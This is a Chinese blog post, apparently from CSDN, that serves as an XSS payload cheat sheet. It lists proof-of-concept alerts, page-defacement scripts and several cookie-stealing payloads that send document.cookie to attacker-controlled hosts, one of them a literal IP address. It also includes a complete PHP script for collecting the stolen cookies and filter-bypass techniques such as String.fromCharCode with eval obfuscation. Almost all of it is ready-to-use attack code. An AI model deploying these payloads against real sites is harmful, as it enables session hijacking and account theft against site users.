xss漏洞的poc与exp

POC

<script>alert('xss')</script>   最简单常用的poc

"><script>alert(1)<script>

<a href=" οnclick=alert('xss')>type</a>  页面出现一个按钮type,点击触发onclick,然后执行弹窗。

<img src=http://1.1.1.1/a.jpg οnerrοr=alert('xss')>  加载图片,给一个错误的图片地址,然后执行弹窗

<script>window.location='http://1.1.1.1'</script> 重定向到指定的url地址

<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>

οnmοuseοver=alert(document.domain)  闭合属性,构造on事件

οnmοusemοve=alert(1)

<input type="text" οnfοcus=prompt(1) autofocus> 利用input的autofocus属性,无需用户交互即可触发xss.

htmlspecialchars: 输入常用符号,看哪些符号没被实体编码。

如输入在href或src里面:javascript:alert(1)

js输出,输入的数据由js变量接收,通过</script>闭合即可

EXP

<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

篡改页面,将页面篡改为<h1></h1>里面的显示的文字

<script>new Image().src="http://yourhost/getcookie.php?cookie="+document.cookie;</script>

将别人登录的cookie信息捕获到自己的服务器上,自己的服务器上编写一个接收cookie信息的php脚本getcookie.php,此脚本将接收到的cookie信息写入到自动创阿金的txt文本cookie.txt里面

<script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>

与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp

<script src=http://1.1.1.1/a.js></script>

字节服务器上a.js的源码为:

var img=new Image();
img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;

获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。

这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后在漏洞点利用<script>访问。

附上一个简短的getcookie.php脚本

<?php
$cookie = $_GET['cookie'];
$log=fopen("cookie.txt", "w");
fwrite($log, $cookie . "\n");
fclose($log);
?>

绕过方法

利用js双写或者大小写绕过: <scscriptript>alert(1)</scrscriptipt>

利用input弹窗

' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1`  '

利用链接弹窗(a标签) <a href="javascript:alert(1)">click me</a> //

利用Html实体编码如果

利用换行绕过

 1.转义字符: 将xss语句转换为含有"\" 16进制或者8进制

  (工具地址: http://tools88.com/safe/xss.php)

2.UBB标签: UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src="url"</img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地址输入:

x"/**/onerror="alert('poruin')

那么经过转换后就变成了<img src="x"/**/οnerrοr="alert('poruin')"></img>

在JS中空格可以用/**/转换,如图:

JS还原函数

JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码还原,一般来说,这个函数都要配合EVAL来使用才有效果。

在跨站中,String.fromCharCode主要是使用一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换称为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:

<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>

XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html

xss公共平台:http://xss.fbisb.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值